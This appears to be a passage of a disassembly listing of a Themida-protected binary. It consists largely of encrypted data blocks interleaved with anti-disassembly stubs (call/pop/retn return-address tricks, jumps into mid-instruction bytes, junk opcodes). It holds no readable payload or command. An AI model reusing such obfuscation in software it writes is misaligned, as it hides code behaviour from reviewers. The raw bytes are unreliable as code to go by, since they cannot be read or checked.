		dd 99B58B9Ch, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 548BC355h, 6ECAB287h
		dd 6DED502Ah, 0EE9h, 0B6FB6D00h, 5B4B4C5h, 0BEC29100h
		dd 0C79A6AF3h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8B66C7FAh, 0B99D8BD8h
		dd 9607E430h, 1694BABBh, 0F5BB5052h, 961F544Fh,	1A41BD33h
		dd 0B5FF07E4h, 7E7F8A5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 19C35747h, 1AB4C3D5h,	12E8h, 6A82C200h
		dd 1C4A56F3h, 0EC53A249h, 27B00790h, 66F1A7E5h,	0FF5BDA8Bh
		dd 0E42A0995h
		dd 3160F807h, 0E40B2585h, 8D8B5607h, 7E402E1h, 0B58B615Fh
		dd 7E7F899h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	7C35141h, 6C7DC276h, 43AA2A48h,	0A8D0Fh, 5E90000h
		dd 25000000h, 0AFA8EA70h, 3165858Bh, 6A07E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD09F7C3h
		dd 7E42311h, 0FE9h, 32CC2900h, 21C4A923h, 9C3CBBCAh, 7764A5AAh
		dd 0C48689h, 0BF0F0000h, 71958BF9h, 8A07E41Bh, 4C283F9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 49C35646h
		dd 0A4CCBB3Ah, 302DB757h, 12E9h, 13527000h, 0C600A4E7h
		dd 0B9040A6h, 0C7CE248Eh, 89F34D25h, 8B662050h,	8DFE8BD8h
		dd 0E80CD485h, 7FBF6607h, 0B88689C1h, 0E9000000h, 0Fh
		dd 0D02926DFh, 21761405h, 4A19404h, 6A75D714h, 0B5FFF900h
		dd 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	5BC35747h, 0F73ADDD5h, 10E8E07Fh, 0DB000000h, 75AA4C6Bh
		dd 5F754031h, 0A43E7AADh, 0F3DEE69h, 178Ch, 12E900h, 7B960000h
		dd 81059753h, 12396217h, 0DDAD28DAh, 0DC605D02h, 0AD95FF5Bh
		dd 6A07E431h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 67A3C352h, 6BAB2107h, 10E87Ch
		dd 0C0980000h, 0DD2DD2E4h, 430C2B82h, 6B9560ECh, 67BB75B6h
		dd 5B7D2247h, 892FB750h, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 2E251EC3h, 6E188B7Bh
		dd 0F8A5B5FFh, 0BF0F07E7h, 1195FFFFh, 8B07E41Bh, 0F9BD83D9h
		dd 7E40Dh, 3D840Fh, 8D890000h, 7E42739h, 8A525096h, 66310FFAh
		dd 5AB959BFh, 5B515058h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 85225059h, 1FE3819Fh
		dd 0FF651784h, 0E7F8A5B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 636A1269h
		dd 66BACB7Eh, 0A84BDF81h, 659D8960h, 6607E405h,	7366E981h
		dd 7D95FF61h, 8B07E402h, 0CE8FAh, 76470000h, 10104802h
		dd 0D6A00688h, 0FF5F5F38h, 0E7F8A5B5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0F97D91F5h, 177E178Dh, 0AE9h, 80053400h, 6FDDE8E0h
		dd 0FFCAEE4Ch, 0E4097195h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6D794C30h
		dd 8166574Bh, 5FCE9AE7h, 0A21BD83h, 0F0207E4h, 7C84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0F60B0BDh, 8166D0BFh, 619665CEh, 0B3DB509h, 858B07E4h
		dd 7E41EB5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0BEC35141h, 53CD9A26h, 0C6C92061h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BDE3DC3h, 0E413E19Dh, 7185C707h, 7E426h, 66000000h
		dd 0E9A549BFh, 0FFFFF2F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 80C35242h, 92C2DDEDh,	0DE9h, 0C8927E00h
		dd 637D83D3h, 0A93B9CFBh, 0BD8BD46Ch, 7E427B1h,	0DE8BC18Bh
		dd 11E8h, 5D07D300h, 119046D3h,	577A7C80h, 3AFA08BDh, 858B3DCEh
		dd 7E42C49h, 32C7815Fh,	8B000068h, 0E426AD9Dh, 6807h, 85310000h
		dd 7E426D9h, 8E95Ah, 0C6760000h, 4CF741CCh, 348B6496h
		dd 65958917h, 8107E405h, 0BF6FD3F6h, 6AEE8124h,	571A4CB8h
		dd 2B3016BBh, 0EE815924h, 17D7CDFAh, 96AFE8B8h,	10E8566Ah
		dd 0D7000000h, 0E26888E2h, 44890FA3h, 8E57E5D7h, 0FDB19B8h
		dd 388h, 0CBD58000h, 17048F5Bh,	9607BDBBh, 158D8B1Fh, 8107E426h
		dd 8BC304EAh, 1D8D8B58h, 8107E424h, 8BC300C2h, 8E858h
		db 2 dup(0)
word_5DA21A	dw 0F4D1h		; DATA XREF: Themida_:005838E8o
; ---------------------------------------------------------------------------
		pop	ebx
		fst	qword ptr [eax]
		lahf
		mov	bh, 65h
		mov	[ebp+7E413EDh],	ebx
		pop	eax
		cmp	edx, 0FFFF98B8h
		jnz	loc_5DA24C
		mov	ebx, [ebp+7E430A9h]
		jmp	loc_5DA25F
; ---------------------------------------------------------------------------
		dd 1201288Eh, 42FC67B2h, 0BAFDA66Dh
; ---------------------------------------------------------------------------


loc_5DA24C:				; CODE XREF: Themida_:005DA22Fj
		mov	ebx, edi
		jmp	near ptr dword_5D9DB4+3FAh
; ---------------------------------------------------------------------------
		db 0FBh
		dd 0AEAE21C0h, 248CB45Dh
; ---------------------------------------------------------------------------
		and	al, 0BCh
		push	es


loc_5DA25F:				; CODE XREF: Themida_:005DA23Bj
		lea	ecx, [ebp+7E97E8Ch]
		push	ebx
		jmp	loc_5DA275
; ---------------------------------------------------------------------------
		db 25h
		dd 982FF8A3h, 0C07830F4h
		db 4
; ---------------------------------------------------------------------------


loc_5DA275:				; CODE XREF: Themida_:005DA266j
		pop	edi
		xor	dl, 52h
		mov	[ebp+7E41B71h],	ecx
		push	0
		push	esi
		call	sub_5DA28A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA28A	proc near		; CODE XREF: Themida_:005DA282p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5DA28A	endp

; ---------------------------------------------------------------------------
		dw 0A6EDh
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+7E42DA1h], 7144h
		push	0
		push	edx
		call	sub_5DA2B1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA2B1	proc near		; CODE XREF: Themida_:005DA2A9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5DA2B1	endp

; ---------------------------------------------------------------------------
		and	esi, esi
		les	esi, [ecx+eax-1BEBA27Bh]
		pop	es
		mov	dword ptr [ebp+7E422B9h], 0
		mov	esi, 102E9FACh
		push	dword ptr [ebp+7E40919h]
		mov	[ebp+7E4356Dh],	edx
		or	[ebp+7E41B49h],	ebx
		call	dword ptr [ebp+7E43061h]
		push	0
		push	edx
		call	sub_5DA2FD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA2FD	proc near		; CODE XREF: Themida_:005DA2F5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5DA2FD	endp

; ---------------------------------------------------------------------------
		clc
		dec	bx
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5DA37A
; ---------------------------------------------------------------------------
		dd 9D614602h, 4C2DDBF5h, 12C6E424h, 0E27DD0B1h,	64CE43E6h
		dd 6AB3EDE6h, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 94ED015Dh
		dd 0D729D728h, 972A530h, 35D49FB7h, 661514D2h, 40B4B1CEh
		dd 764359Eh, 0F9C06354h, 5A69986Ah, 73BF51AEh, 775C70C7h
		dd 798CB7B0h, 3401722Dh, 30148F41h
; ---------------------------------------------------------------------------
		fsub	dword ptr [edi]


loc_5DA37A:				; CODE XREF: Themida_:005DA31Aj
		lea	ecx, [ebp+7E97F64h]
		mov	bx, ax
		js	loc_5DA38F
		mov	ebx, [ebp+7E42389h]


loc_5DA38F:				; CODE XREF: Themida_:005DA383j
		mov	[ebp+7E41B71h],	ecx
		mov	[ebp+7E40045h],	esi
		mov	dword ptr [ebp+7E42DA1h], 6F9Ch
		jns	loc_5DA3C4
		jnb	loc_5DA3C4
		jmp	loc_5DA3C4
; ---------------------------------------------------------------------------
		dw 58DCh
		dd 0A9896A00h, 0EAAC3E32h, 0CEA425CCh
; ---------------------------------------------------------------------------


loc_5DA3C4:				; CODE XREF: Themida_:005DA3A5j
					; Themida_:005DA3ABj ...
		mov	dword ptr [ebp+7E422B9h], 0
		add	ax, 0A6ADh
		push	dword ptr [ebp+7E42BF1h]
		mov	dx, ax


loc_5DA3DC:				; CODE XREF: Themida_:005DA439j
		call	dword ptr [ebp+7E43061h]
		xor	[ebp+7E40D35h],	esi ; CODE XREF: Themida_:005DA410j
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5DA40E
; ---------------------------------------------------------------------------
		dd 26C82F28h, 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h
		dd 2E337FC0h
		db 59h,	9Ah
; ---------------------------------------------------------------------------


loc_5DA40E:				; CODE XREF: Themida_:005DA3F2j
		fisubr	word ptr [edx]
		jno	short near ptr loc_5DA3E2+4
		aam	46h
		dec	ebx
		fadd	qword ptr [ecx]
		jg	short near ptr loc_5DA46A+4
		enter	5CD4h, 52h
		cwde
		arpl	[ebx], si
		or	ebp, [ecx-67D9CC57h]
		icebp
		pop	edx
		db	26h
		pop	esi
		out	dx, eax
		push	ds
		or	bh, [edx+esi+60h]


loc_5DA430:				; CODE XREF: Themida_:005DA491j
		dec	esi
		mov	ah, 0FFh
		in	al, 0A5h	; Interrupt Controller #2, 8259A
		db	67h
		clc
		jb	short loc_5DA440
		jl	short loc_5DA3DC
		mov	esi, 0D4E33FA3h


loc_5DA440:				; CODE XREF: Themida_:005DA437j
		and	[edi+79h], esp
		mov	edx, 0D7F455A3h
		and	[ebx], ebx
		xlat
		outsb
		daa
		jl	short near ptr loc_5DA480+1
		xor	ebp, [ecx]
		sbb	eax, 98263383h
		sal	byte ptr [esi+344FE7B5h], 76h
		adc	eax, 7159B6D6h
		scasb
		arpl	cx, bx
		or	eax, 9FC21319h


loc_5DA46A:				; CODE XREF: Themida_:005DA417j
		and	dword ptr [esi-68h], 35h
		pop	ecx
		and	edx, ds:7159A61Fh
		dec	edx
		arpl	[ebx-30B3DCE3h], bp
		lahf
		add	ecx, esp


loc_5DA480:				; CODE XREF: Themida_:005DA44Dj
		mov	bl, 35h
		mov	edx, 149321D7h
		cmp	al, 0A2h
		mov	eax, ds:1526336Ah
		mov	al, 0A6h
		pop	ecx
		jno	short loc_5DA430
		arpl	si, cx
		stosb
		dec	ebp
		xor	esp, [esi]
		fdiv	st, st(6)
		mov	esi, 0DA2C03A3h


loc_5DA4A0:				; CODE XREF: Themida_:005DA4CFj
		and	eax, ecx
		and	al, 0B6h
		mov	bl, 0E7h
		cmp	eax, 0FF677634h
		pop	edx
		pop	es
		jl	short loc_5DA4E1
		mov	al, 0E2h
		xchg	eax, esp
		pop	ss
		mov	dh, 0B3h
		out	0A4h, eax	; Interrupt Controller #2, 8259A
		xor	al, 76h
		adc	eax, 7159B623h
		push	esp
		arpl	cx, bx
		or	eax, 9FC21364h
		cmp	eax, 6A982651h
		lodsw
		jz	short loc_5DA533
		db	64h
		jz	short loc_5DA4A0
		adc	[esi+2Eh], ecx
		stosd
; ---------------------------------------------------------------------------
		dw 0DA8Dh
; ---------------------------------------------------------------------------
		and	al, 98h
		cmpsb
		xor	esp, [esi-21h]
		ror	dword ptr [esi], cl


loc_5DA4E1:				; CODE XREF: Themida_:005DA4ADj
		xchg	eax, edi
		sub	al, 0C6h
		fldenv	byte ptr [edi+2Bh]
		add	bh, ch
		adc	edx, [edi]
		cmp	ecx, edi
		mov	dl, 35h
		xor	esp, [esi]
		stosd
		dec	eax
		mov	ecx, 3A71831h
		lodsd
		push	5AAD63E8h
		add	[eax+33A9982Ch], cl
		iret
; ---------------------------------------------------------------------------
		db 9Bh,	0D4h, 33h
		dd 7D896F26h, 3C3566A5h, 0CC656CA1h, 0FB4EC3D9h, 38EEDF7Eh
		dd 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh, 0B0881526h
		db 59h,	71h, 9Dh
; ---------------------------------------------------------------------------


loc_5DA533:				; CODE XREF: Themida_:005DA4CDj
		mov	esi, 0DACD20ABh
		and	[eax], esp
		xchg	eax, ebx
; ---------------------------------------------------------------------------
		db 0
		dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 0B8B58DFFh, 8D07E980h, 0E980D78Dh, 83CF2B07h, 0C88B05E9h
		dd 13E8h, 0E75B7600h, 0F4BBC2FCh, 7528F235h, 15ABBBB7h
		dd 7D69B573h, 95895BF5h, 7E420E5h, 7157C381h, 9D010000h
		dd 7E414E9h, 0BAh, 1A34FF00h, 1471858Bh, 0F85E07E4h, 7FDEE81h
		dd 0F6816488h, 3DB85D4Dh, 19820Fh, 14E90000h, 43000000h
		dd 0D949A581h, 0CF9004ADh, 98BDE702h, 3F492312h, 8168B2EDh
		dd 47BBBBC6h, 3FD48041h, 0F5133489h, 0E904EA83h, 10h, 563FACA9h
		dd 0EC083FBEh, 0E48F91F7h, 68CADC83h, 8F68FA81h, 850FFFFFh
		dd 1Dh,	13B1BD01h, 25E907E4h, 71000000h, 0CFCE9C80h, 41B74BD0h
		dd 0B863CCA8h, 8D923594h, 0FDB58942h, 0E907E42Fh, 0FFFFFF71h
		dd 0D8E835CAh, 80008EEFh, 823F8D8Dh, 0BA6607E9h, 8D896A68h
		dd 7E41B71h, 2850Fh, 0ECB40000h, 53DB58Bh, 85C707E4h, 7E42DA1h
		dd 5D54h, 87C38166h, 0B985C742h, 7E422h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 5D15C351h, 0B5FF8EA9h, 7E40919h, 14E8h, 0C9A41E00h
		dd 5D0D268Bh, 4B13ED1h,	0E2184FA4h, 92EA333h, 0CE97Bh
		dd 0C890000h, 0A686D859h, 0BBDBFB80h, 0FF58494Fh, 0E4306195h
		dd 0D6BF6607h, 0A5F081E4h, 6A3DA6EEh, 4195FF00h, 8B07E40Eh
		dd 185EEBC0h, 215A2Ah, 0B9D15E9Dh, 0ED057B10h, 116D8F10h
		dd 29B0C9DBh, 0B559B3CAh, 0A9527617h, 809BEA95h, 43F6AA6h
		dd 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh,	1E08F1F3h
		dd 7C58283Fh, 0F7426E92h, 0F8078817h, 6EC51083h, 98D91AF3h
		dd 9775086Eh, 48027647h, 6881010h, 5F38D6A0h, 0A68D8D36h
		dd 6A07E983h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D85FC350h, 41DB89DCh,	0D08B6664h
		dd 0CB99BF66h, 1B718D89h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 9FA87AC3h, 47170C9Fh
		dd 0A185C7F6h, 2C07E42Dh, 6A000067h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8C74C356h
		dd 0BDB03C64h, 22B985C7h, 7E4h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3E1A46C3h
		dd 60A6BCC4h, 0B560EB0h, 0E4070DB5h, 51615807h,	0B5FF5BF5h
		dd 7E42291h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	6DC35646h, 1648A8EDh, 0FE22E1Ah, 68Ah, 0DDBD8B00h
		dd 0FF07E402h, 0E4306195h, 259CBE07h, 6A43A0h, 0E4195FFh
		dd 0C08B07E4h, 0B1296FEBh, 6D69C59Dh, 7746807Bh, 271B65EAh
		dd 124FBEE6h, 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h
		dd 8A1F0C0h, 0E87602Eh,	747CBA3Ah, 1B797235h, 800D1BDBh
		dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 0FCE75B76h, 35F4BBC2h
		dd 0B77528F2h, 7315ABBBh, 417D69B5h, 4CE2F3B6h,	0D2368F93h
		dd 134FA557h, 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 888A4EF8h
		dd 0F3F4D7BAh, 94127A8Ch, 7974C536h, 79345FB2h,	40176D5h
		dd 0FB52E828h, 7402E4F1h, 0F5882E31h, 77E50348h, 99F116BCh
		dd 0A3FEC2D7h, 0CD82BA6Ah, 77E57804h, 2016CC31h, 7402E462h
		dd 0F5882E31h, 77E50348h, 96DE16BCh, 0A3FEC2D7h, 706BBA6Ah
		dd 70029964h, 2D21B831h, 1C8801F2h, 34802A15h, 70151315h
		dd 25448B31h, 0F50829F2h, 77E5F1C8h, 73DCECBAh,	0CD88BFD5h
		dd 77E55148h, 706BEEBAh, 7002FF63h, 2A218B31h, 24889FF2h
		dd 3480E615h, 70167515h, 2243B831h, 34D6C1F2h, 0A88D48A4h
		dd 9856175Bh, 70018B32h, 2FC29A11h, 74259EB8h, 742535B0h
		dd 7001B82Bh, 14C20B76h, 8F40AA2Bh, 0ED8850AAh,	77E589E8h
		dd 0F40EC199h, 7001E1B7h, 6D50E4BAh, 0CD82BFD5h, 77E5521Ch
		dd 23852131h, 1A011731h, 73E9DC31h, 5001C531h, 0F95E216Eh
		dd 0F105554Dh, 6B059C75h, 37015C31h, 213FED66h,	78AAC75Eh
		dd 0E522D439h, 77E5CFB4h, 7002A7D8h, 25011B31h,	7001BBD9h
		dd 0B35C7C31h, 546DA76Ch, 54459635h, 70019635h,	0B3548031h
		dd 726CC45Ah, 723EB7Ch,	70BF4917h, 0FB035C16h, 941B33ACh
		dd 60849A36h, 1A066CFDh, 73E99731h, 5001E231h, 0F95BB26Bh
		dd 0F1059C65h, 65057875h, 32012E31h, 0F4ABD463h, 68F016B8h
		dd 8FF9C2D5h, 0F5FF69E1h, 0C2857EF1h, 1A01B831h, 73E90A31h
		dd 50012E31h, 0F95FD46Fh, 0F105AF45h, 6705E175h, 3601E231h
		dd 3FE8B267h, 9F80A826h, 42D2728Fh, 0F1D0913Eh,	0F1674009h
		dd 478484CAh, 1A01C531h, 73E9B031h, 50017131h, 0F95B7B6Bh
		dd 0F1057865h, 65050A75h, 32011731h, 2A9F4863h,	52205812h
		dd 0F167E5D5h, 72037549h, 72C13C3Eh, 0F70E5C31h, 70012E33h
		dd 0F167E2BBh, 7F611709h, 7001F9B4h, 768EED31h,	0F9017131h
		dd 9405B5ACh, 7279DC36h, 568421D9h, 16011731h, 0F16775BAh
		dd 0DB01C349h, 7016673Eh, 0C5887131h, 77E5A6F8h, 700321D8h
		dd 76882131h, 0F9011731h, 940BA6A4h, 71017B36h,	706BA430h
		dd 70029964h, 2D21B831h, 1C8801F2h, 34802A15h, 701D1315h
		dd 25448B31h, 29FACBF2h, 8D80C95Ch, 62E8688Ah, 6F01B831h
		dd 0E03F920Ch, 44302F88h, 0D61FE600h, 91C56219h, 459C4C4Ch
		dd 0FD06063Bh, 97CD61B4h, 0B58C3336h, 8F06B826h, 210144E1h
		dd 700114D9h, 0B358AB31h, 544D4C68h, 54456335h,	70016635h
		dd 0B350F931h, 48ECE12Bh, 0E386CCB0h, 23B20D44h, 0F40E4BB4h
		dd 7001C49Bh, 9851E25Bh, 70017132h, 28C2E011h, 742518B8h
		dd 74256AB0h, 7001172Ah, 19C2DB71h, 16C2A7Ch, 71300381h
		dd 9412D884h, 16393936h, 7F035E0Ch, 700167B4h, 21017D31h
		dd 700188D9h, 0B358E531h, 544D6B68h, 5445F035h,	7001A235h
		dd 0B3501D31h, 98639AFAh, 981D0B7Eh, 70018B3Ah,	0CFDD8336h
		dd 0DE233965h, 7F8C1918h, 0F15A698Eh, 4D675A49h, 0F40E546Eh
		dd 70011647h, 6268363Ah, 0F167C2D5h, 7F617E09h,	700159B4h
		dd 8814431h, 0F50EB433h, 70012E2Ch, 16D0A83Eh, 7007F3B0h
		dd 7E84CAF1h, 0F901E231h, 941290A4h, 71415136h,	0B2815C31h
		dd 7101908Ch, 0AF816930h, 60840626h, 7F0622FDh,	7001E7B5h
		dd 0DEAAC831h, 0A0FE8DE8h, 5EA8C900h, 0B08429D5h, 70D1933Eh
		dd 0FE0E8B31h, 7001C537h, 563877BAh, 488176D5h,	3384B7D9h
		dd 0F1015C31h, 4325D4E2h, 75799757h, 43848442h,	1A01C531h
		dd 73E9B331h, 50017131h, 0F9587B68h, 0F105787Dh, 6B050A75h
		dd 31011731h, 0F1284860h, 0F461B062h, 881F566h,	0F40E2236h
		dd 7001B8F3h, 73E8C912h, 0F16729D5h, 7F049809h,	7001E6B4h
		dd 2101AF31h, 7001E1D9h, 0B3585131h, 544D3168h,	5445DD35h
		dd 70013835h, 0B3505631h, 7F59FE0Ah, 8810F8Eh, 0F50E8A37h
		dd 70017173h, 5B7C35BAh, 0F1675BD5h, 55FE2549h,	7031923Eh
		dd 706B8B31h, 70022D61h, 2821E231h, 348829F2h, 3480BC15h
		dd 701D5815h, 20412E31h, 404E7F2h, 0D264D06Dh, 0CF0E1FA6h
		dd 70490BE9h, 0C9677131h, 0B02AD476h, 0C817EF51h, 234AEEC8h
		dd 7046FE50h, 706B8B31h, 70022D66h, 2F21E231h, 0C882EF2h
		dd 3480BC15h, 70185815h, 27462E31h, 0CC1C7EF2h,	105E0978h
		dd 77AC70BAh, 0F167E5D5h, 11A1E0FBh
		dd 52980DB8h, 71B95BD5h, 7F012E31h, 70011FB3h, 728F8431h
		dd 0FA01C531h, 7F6172C4h, 700171B3h, 0E051D931h, 98505C5Bh
		dd 70012E32h, 29C24E11h, 7425C7B8h, 742581B0h, 7001E22Ah
		dd 44C22070h, 3AB9B1DCh, 85139D9Fh, 0F41B93BCh,	0FD8C10D8h
		dd 77E80224h, 1654E689h, 0D184E146h, 5B06952Fh,	710190FEh
		dd 0AF816930h, 60840626h, 7F0622FDh, 7001E7B5h,	0DEAAC831h
		dd 0A0FE8DE8h, 0F305E983h, 0BD8958A4h, 7E42EE1h, 60CA8B66h
		dd 0C59D8B56h, 5B07E405h, 61C6BF0Fh, 840FC00Bh,	7Bh, 14E8h
		dd 872E7900h, 0C02062FCh, 5CD8DF1Ch, 929218DFh,	0D7E19ED4h
		dd 0F99589B8h, 5F07E41Dh, 4FE7B58Dh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BEBB98C3h
		dd 0B340BC64h, 3B8DDh, 0CE90000h, 0F1000000h, 0F81E2B24h
		dd 61E6B0E0h, 0E93F103Dh, 0Fh, 0BBF590Dh, 0EF26CDBFh, 81146E4Ch
		dd 0FF208290h, 58D8BE6h, 4007E42Bh, 6CA6C381h, 0C08B3322h
		dd 83CF8B66h, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h
		dd 8B535019h, 403B8C0h,	85890000h, 7E40EEDh, 0EA579D8Dh
		dd 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h,	403B853h
		dd 85890000h, 7E40EEDh,	0E6F89D8Dh, 0D3FF07E6h,	890F585Bh
		dd 6, 20358D89h, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 3A15C0C3h, 0F666CD7Fh
		dd 8B665221h, 0C08B5BFBh, 0BF0F5F52h, 12E861CFh, 5C000000h
		dd 3E5C69F2h, 0EF8B8016h, 0B3E47FDBh, 2FD0B3h, 9E99Bh
		dd 9CF50000h, 70FB772Dh, 5BCCE960h, 81C3BF0Fh, 635EC3h
		dd 0F78B6600h, 88BE32B9h, 81E98165h, 666588A5h,	33FFC18Bh
		dd 5AD48FB8h, 9D895A1Fh, 7E42DFDh, 5F0AF281h, 8A0F55C2h
		dd 7, 36B8BF56h, 81584C4Dh, 0DBFDEAEAh,	10E96Eh, 0D1060000h
		dd 4C20BEF1h, 0BED4F249h, 0AC19E3ADh, 0EA81980Fh, 336CAD1Ah
		dd 5AEDBE66h, 0EB831389h, 5DB58B01h, 4B07E430h,	0E9834B4Bh
		dd 0A3850F01h, 23FFFFFFh, 0E42A2DB5h
		db 7
byte_5DAF8D	db 0E8h, 0Fh, 0		; DATA XREF: Themida_:00585288o
		dd 0B19F0000h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h, 0FD9D8B22h
		dd 5E07E40Dh, 0C681D68Bh, 6343h, 0ABB8D58Ah, 0E9000018h
		dd 12h,	9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh
		dd 36FF57E5h, 0EF18589h, 0F5F07E4h, 0C781D0B7h,	7F481B8Ch
		dd 0C78107B1h, 0B8F7F22h, 0EF81CF8Bh, 2786B6E9h, 12E8h
		db 0
byte_5DAFF5	db 0Dh,	72h, 21h	; DATA XREF: Themida_:005825B0o
		dd 0F2D6DA28h, 0EA53200Bh, 1BA9B049h, 0B1030C6Bh, 3E895BEDh
		dd 85A7C981h, 0EE834CF8h, 1DB96603h, 8D8B4EAAh,	7E40279h
		dd 0F01E883h, 0FFFFA585h, 96BA66FFh, 24786CB6h,	2411EE57h
		dd 7A320301h, 509BDFC2h, 6093C425h, 240E6425h, 72543001h
		dd 82EB9CC2h, 0FF760540h, 0B99B4CD3h, 23F60224h, 0CCCA0D67h
		dd 2412C012h, 7E6377E7h, 5D824E27h, 0C0DE63E8h,	0A5E0482Fh
		dd 0AF88D3C7h, 0C031D29Ch, 20BADE06h, 263C440Eh, 24786001h
		dd 2411D854h, 79321801h, 489B51C2h, 60930225h, 240A0725h
		dd 71578101h, 0A4AE1EC2h, 0C6928530h, 9AFB3C6h,	2415FC0Fh
		dd 2436880Eh, 0B9990601h, 23F6005Ch, 1B148Ah, 0C9FBC7E5h
		dd 0CD126000h, 2412300Fh, 0CFB5C710h, 773D756Fh, 98CEE4Ah
		dd 73421810h, 0CF523F67h, 16495Bh, 0F7F588h, 251D37E5h
		dd 2DEC3C4Dh, 0C00F418Ch, 24785E06h, 2411EB56h,	7B328101h
		dd 589B9FC2h, 60936425h, 24053425h, 73551801h, 92D103C2h
		dd 0E491FE3Ch, 7212692Dh, 241282E9h, 0E74CE001h, 66E95Fh
		dd 56B105h, 24120C05h, 0E7444A01h, 0AF1A8D2Bh, 6C9965D6h
		dd 7512EBFDh, 2412C3E9h, 0E74B4001h, 5EB958h, 569905h
		dd 24121705h, 0E7434701h, 0B248C227h, 4D8A50Bh,	2412CAE9h
		dd 6F659D01h, 505C305Dh, 0AF3D198Eh, 0C03E3D94h, 0A5745D06h
		dd 2BED3538h, 24125685h, 7612AA01h, 241263E9h, 0E7481001h
		dd 46915Bh, 568D05h, 24121E05h,	0E7404101h, 13550FADh
		dd 2297CF4Dh, 2D126001h, 0C00D9994h, 2DD39B06h,	241209E8h
		dd 79DE6401h, 1D92B95Bh, 0D5978EE8h, 4E12C001h,	27FA3201h
		dd 4123001h, 0AD48DB5Bh, 0A5162855h, 38162245h,	66120301h
		dd 0FCFB4253h, 7725B4B7h, 0AF68CF52h, 0A81D3140h, 24121801h
		dd 0F9C5E380h, 0EC111269h, 0CC41036Bh, 24128102h, 7FD19B21h
		dd 20363C88h, 20367480h, 24121815h, 60D15F42h, 24CF8388h
		dd 0E59104E5h, 7212EB04h, 2412C3E9h, 0E74C4001h, 66B95Fh
		dd 569905h, 24121405h, 0E7444001h, 0C9EC4C5Bh, 0F599E73Ah
		dd 6F82F980h, 0A11DEB42h, 24123069h, 5A0CEF80h,	913B3491h
		dd 23F62A24h, 6BF58E8Ch, 0B12386E5h, 23F6D5D8h,	241263B9h
		dd 77125A01h, 24121BE9h, 0E7492C01h, 4E8F5Ah, 568205h
		dd 24129605h, 0E7418301h, 0B348D878h, 2414BF0Eh, 0A93B1801h
		dd 23F610FCh, 241209E9h, 0F1FEA501h, 0A50DE0F9h, 0ABF88168h
		dd 0D8DD4A26h, 7BE5BB67h, 919BF9FEh, 23F612FCh,	241FEE60h
		dd 0DE120301h, 3DA258C3h, 9AB2DE22h, 939C9140h,	999F6AD0h
		dd 23FB93A3h, 0AA45818Ch, 50AA01E8h, 17139182h,	0C0208084h
		dd 0E5DDEB06h, 24786CE8h, 2411EE57h, 7A320301h,	509BDFC2h
		dd 6093C425h, 240E6425h, 0E9833001h, 8BA4F305h,	895053C0h
